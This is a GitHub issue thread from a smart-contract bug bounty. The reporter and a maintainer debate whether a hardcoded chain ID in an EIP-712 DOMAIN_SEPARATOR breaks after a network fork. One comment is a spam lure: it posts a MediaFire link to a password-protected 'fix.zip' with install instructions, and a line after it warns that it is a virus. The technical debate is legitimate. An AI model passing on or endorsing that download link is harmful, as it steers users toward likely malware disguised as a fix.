search

hats-finance / Proof-Of-Humanity-V2-0xef0709445d394a22704850c772a28a863bb780b0

Proof of Humanity Protocol v2
2 stars 1 forks source link

Hardcode block.chainid in DOMAIN_SEPARATOR breaks on a fork #34

Closed hats-bug-reporter[bot] closed 6 days ago

hats-bug-reporter[bot] commented 2 weeks ago

Github username: @Rotcivegaf Twitter username: rotcivegaf Submission hash (on-chain): 0x33d39e5af104a4a37850a3d4b13ba951c0f94c92b80e5285879a6cec50dc509f Severity: medium

Description: Description\

The block.chainid could change in the future as a result of a fork breaking the advanceState function on ProofOfHumanityExtended contract and the advanceState function on ProofOfHumanity contract

Attack Scenario\

The block.chainid of ethereum it's ID but if there is a fork where this changes the permit function it would use an incorrect DOMAIN_SEPARATOR breaking this function

YoungAgile commented 2 weeks ago

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

Virus, do not believe it

clesaege commented 2 weeks ago

The DOMAIN_SEPARATOR is set during the initializer, so in case of a fork it wouldn't change, so the vouches would still be valid. This could create some challenges for the frontend (as those would need to switch to the original chain to sign), but nothing impossible (forks are indeed messy). Note that the vouches would be valid on both chains, but this isn't an issue (if you vouch for an address, you trust it, it's not chain specific), we do include the chainId as it is required by the wallets signing messages.

Anyways, this all seems very theoretical (there is no plan of PoH to support Ethereum or Gnosis forks) so this falls under the exclusion of scope:

rotcivegaf commented 2 weeks ago

First of all, sorry for the low quality of the report, at hats we prioritize time over quality and since it is a common error I sent it as fast as I could.

"This could create some challenges for the frontend" I read problems, not challenges. In case of the front I think the front/wallets will have problems when showing the signature because the users would be signing for a chain with different id (the fork).

"there is no plan of PoH to support Ethereum or Gnosis forks" although you will not support a fork, the chainid of the chosen chain could be the one that changed, it is not a theory, it is a fact, there are many examples of forks.

Anyway, it is a classic error and can be fixed by recalculating the DOMAIN_SEPARATOR if the chainid changed, like OZ does: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1edc2ae004974ebf053f4eba26b45469937b9381/contracts/utils/cryptography/EIP712.sol#L80-L86

clesaege commented 1 week ago

the chainid of the chosen chain could be the one that changed

How would that be possible? How could Ethereum and Gnosis be changing their chainID? Note that in case of a fork support we would also have concerns about the operation of bridges. Also note that since contracts are upgradable, we could use governance to upgrade the contracts and change the domain separator. All this seems quite theoretical and out of scope as we assume that the underlying platforms are working properly.

rotcivegaf commented 1 week ago

I take your point but this bug would come up in any report, you can decide not to fix it, but it is still a possible bug

clesaege commented 1 week ago

Like if we wanted to support a fork, there would be far bigger concerns than asking user to switch to the original chain to sign. The whole bridging system would stop working, the bridged PNK to Gnosis chain status would be messed up. So yeah supporting a fork would require some work and contracts would not work natively in the fork. This is also not desirable (as if they would this would mean you could fork and than transfer humanities from the fork platforms into the original ones).

I understand your point, but here there is no expectation nor desire to support forks without involving governance, so this falls under the exclusions pointed out in my first message.

rotcivegaf commented 1 week ago

It is not a question of whether or not to support a fork. If either network (Ethereum and Gnosis) split a fork and that fork is the one taken as the main chain, the chain.id would be changed.

Also, there is a possibility that other protocols will fork your code and drag this bug to other less stable chains.

I agree you don't want to fix this issue, you can add the label wontfix but it is still a bug, in other competitions this bug was taken as a valid: Paladin issues 16

clesaege commented 1 week ago

If either network (Ethereum and Gnosis) split a fork and that fork is the one taken as the main chain, the chain.id would be changed.

This is not something supported. If there is something as serious as switching to another chain (another chain ID), this would require some governance update.

This is not bug (a bug is doing something unintended), this is something that those contracts don't try to support. If we had for example done what you suggests, forking wouldn't be supported either as now all the previous signature vouches would become unusable which is a bigger concern than asking to sign stuff related to another chain ID (while the "call" vouches would still work the same). Other competitions may have their own rules. To avoid those kind of issues which are just theoretical we made sure to add in the exclusions: